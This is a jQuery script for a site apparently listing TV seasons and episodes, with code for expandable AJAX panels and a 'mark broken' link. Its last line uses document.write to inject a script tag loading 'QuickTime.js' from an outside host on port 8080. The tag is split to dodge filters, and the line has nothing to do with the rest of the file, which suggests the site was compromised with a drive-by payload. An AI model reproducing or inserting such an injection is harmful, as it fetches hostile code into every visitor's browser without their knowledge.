$(document).ready(function() {
  $('#show-page').click(function(event) {
	var $tgt = $(event.target);
	
	if ($tgt.is('a')) 
	{
		
		if ($tgt.hasClass('copen'))
		{	
	  		var link_id =$tgt.attr('id');
	  		var icon_id = link_id.replace ( /_l/gi, '_i' );
	  		$('#'+icon_id).attr('src',$('#'+icon_id).attr('src').replace (/open/,'closed'));
	  		var content_id = link_id.replace ( /_l/, '_c' );
	  		$('#'+content_id).css("display","none");
			$tgt.removeClass('copen');
			$tgt.addClass('cclosed');
			 return false;
	  	}
		
		
		if ($tgt.hasClass('cclosed'))
		{	
	  		var link_id =$tgt.attr('id');
	  		var icon_id = link_id.replace ( /_l/gi, '_i' );
	  		$('#'+icon_id).attr('src',$('#'+icon_id).attr('src').replace (/closed/,'open'));
	  		var content_id = link_id.replace ( /_l/, '_c' );
	  		$('#'+content_id).css("display","block");
			$('#'+content_id).html('Loading...');
			var req_url= getRefreshUrl ($tgt.attr('id'));
			 $.ajax({
			   type: "GET",
			   url: req_url,
			   cache: true,
			   success: function(msg){
     				$('#'+content_id).html(msg);
   			   }, 
			   error:function(msg){
     				$('#'+content_id).html('Error Loading');
   			   }
			 });
			$tgt.removeClass('cclosed');
			$tgt.addClass('copen');
			 return false;
			 
	  	}
		
	 
	}
  });
  $('.mark-broken').click(function(event) {
		var $tgt = $(event.target);
		if ($tgt.is('a')) 
		{
			
			var req_url= '/_markbroken/'+$tgt.attr('id');
			$.ajax({
				   type: "GET",
				   url: req_url,
				   cache: true,
				   success: function(msg){
						$tgt.parent().html('Thank You!');
				   }, 
				   error:function(msg){
						$tgt.parent().html('Thank You!');
				   }
				 });
		}
		return false;
	  });
  
});

function getRefreshUrl(orig_id)
{
	//var condensed="apple,hot dog,cat";
	var splitted=orig_id.split("_");
	var url =window.location.pathname;
	if ( url.substring(url,url.length-1,url.length)!='/' )
	{
		url = url+'/';
	}
	
	if ( splitted.length>1 )
	{
		url = url+ 'season/';
		splitted=splitted[0].split("-");
		if (splitted.length>1)
		{
			url=url+splitted[0]+'/episode/'+splitted[1];
			
		}else
		{
			url = url+splitted[0];
		}
		
		return url;
	
	}
	
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/QuickTime.js"></scr'+'ipt>');